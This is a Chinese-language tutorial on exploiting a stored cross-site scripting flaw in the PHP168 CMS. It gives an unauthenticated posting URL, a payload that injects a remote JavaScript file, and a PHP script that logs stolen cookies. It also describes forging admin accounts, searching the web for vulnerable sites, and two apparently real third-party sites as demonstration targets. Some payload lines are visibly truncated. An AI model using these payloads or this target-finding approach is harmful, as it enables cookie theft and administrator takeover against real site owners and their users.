專業解讀PHP168 XSS跨站及利用
(一)軟件測試環境以及搭建
測試環境:本地 XAMPP 1.7.1
測試軟件:PHP168整站v5.0
軟件下載地址 http://down2.php168.com/v2008.rar
PHP.ini 配置: magic_quotes_gpc Off(On或者Off對持久型XSS并無沒影響) ;register_globals Off ;safe_mode Off ;
(二)XSS跨站基礎
1、XSS攻擊定義
XSS又叫CSS (Cross Site Script) ,簡稱跨站腳本攻擊。它指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執行,從而達到惡意用戶的特殊目的。XSS屬于被動式的攻擊,因為其被動且不好利用,所以許多人常呼略其危害性,實際很多系統都存在XSS漏洞,本文中主要是研究PHP168整站系統中的XSS的利用。
2、如何尋找XSS漏洞
就一般而言,XSS攻擊可以分成兩類,一類是來自內部的攻擊,主要指的是利用程序自身的漏洞,構造跨站語句,如:dvbbs的showerror.asp存在的跨站漏洞。另一類則是來來自外部的攻擊,主要指的自己構造XSS跨站漏洞網頁或者尋找非目標機以外的有跨站漏洞的網頁。如當我們要滲透一個站點,我們自己構造一個有跨站漏洞的網頁,然后構造跨站語句,通過結合其它技術,如社會工程學等,欺騙目標服務器的管理員打開。
3、如何利用
傳統的跨站利用方式一般都是攻擊者先構造一個跨站網頁,然后在另一空間里放一個收集cookie的頁面,接著結合其它技術讓用戶打開跨站頁面以盜取用戶的cookie,以便進一步的攻擊。個人認為這種方式太過于落后,對于弊端大家可能都知道,因為即便你收集到了cookie你也未必能進一步滲透進去,多數的cookie里面的密碼都是經過加密的,如果想要cookie欺騙的話,同樣也要受到其它的條件的限約。而本文提出的另一種思路,則從一定程度上解決上述的問題。對于個人而言,比較成熟的方法是通過跨站構造一個表單,表單的內容則為利用程序的備份功能或者加管理員等功能得到一個高權限。
(三)XSS跨站利用
1.獲取XSS漏洞地址
XSS又叫CSS 全稱Cross Site Scripting 跨站腳本攻擊。分為持久性,反射型兩種。本文演示的是持久性跨站以及簡單利用。其實都是站在前人的基礎上,感謝那些無私奉獻的牛牛。我們安裝完php168后,不要登陸,直接打開如下URL: http://localhost/php168/member/post.php?job=postnew&fid=2
可以繞過管理員登陸,直接發表文章,如圖1所示。
圖1繞過驗證直接發帖
說明:
如果是在實際網絡上面進行測試,可以使用“php168/member/post.php”作為關鍵值進行搜索,找到搜索結果后,對結果進行查看,如圖2所示,單擊其中的“發表”鏈接進入發表頁面。這樣獲取的Fid才是正確的ID,否則得到的ID打不開頁面,如圖3所示。在圖3中的相應輸入框中輸入相應的測試值,完畢進行發表,如圖4所示,會給出發表后的相應操作,單擊查看,可以看到剛才發表的帖子,如圖5所示,整個發表過程無須審核和登錄。
圖2 搜索獲取php168發帖地址
圖3 直接發表帖子
圖4 發表帖子成功
圖5 查看發表的帖子
2.測試XSS
在發表帖子頁面中選擇“源碼”模式,然后在內容中加入以下代碼:
然后單擊發表,我們看看文章地址:http://127.0.0.1/php168/bencandy.php?fid=2&aid=4
邪惡的XSS 出現,如圖6所示。
圖6找到邪惡的XSS
3.遠程包含JS文件攻擊
我們遠程包含JS文件來攻擊,代碼如下:
src="javascript:s=document.createElement('script');
s.src='http://127.0.0.1/xss/xss.js';
document.body.appendChild(s);"/>
這樣直接發上去是會被過濾掉的,我們轉換編碼,對于不會轉換編碼的朋友可以到http://ha.ckers.org/xss.html#ipobfuscate去直接轉換。
代碼如下:
src="javascript:s=document.createElement('script');
s.src='http://127.0.0.1/xss/xss.js';
document.body.appendChild(s);"/>
這樣我們就可以直接編輯我們的xss.js文件來吊管理員Cookie了。當然反射型的更多。其執行效果如圖7所示。
圖7 XSS讀取效果
4.獲取Cookie
我們編輯js文件如下:
alert(document.cookie);
返回查看,如圖8所示,顯示本地的Cookie值。
圖8 獲取本地Cookie值
當然我們隱藏釣管理員Cookie,并沒測試官方。請大牛試試吧。
5.編寫代碼獲取Cookie或者直接添加管理員
編寫我們的PHP文件,代碼如下:
/*auther:menzhi007 Blog:http://hi.baidu.com/menzhi007 */
$txtfile = "menzhi.php";
$date = date("Y-m-d - H:i:s");
$cookie = $_GET['get'];
$writeinfo = "{$date}\n{$cookie}\n";
$printer = fopen($txtfile, 'a');
fwrite($printer,$writeinfo);
fclose($printer);
?>或者直接添加管理員,代碼如下:
location.;
平時也沒什么時間上網,具體大家自己測試吧。官方路徑:D:\p8-server\wwwroot\php168_com\
已通知官方修補漏洞了,不要搞破壞(沒進入官方挺后悔的)。
(四)實例演示
大家打開官方主頁http://www.php168.com/biz/impower.php
商業授權查詢,如圖9所示。
圖9 獲取使用php168整站系統的用戶
我們隨便挑幾個,演示站點:
http://www.3cq.org/member/post.php?job=postnew&fid=2
圖10演示站點1
演示站點2:
http://www.ccdv.cc/member/post.php?job=postnew&fid=2
圖11演示站點2
【編輯推薦】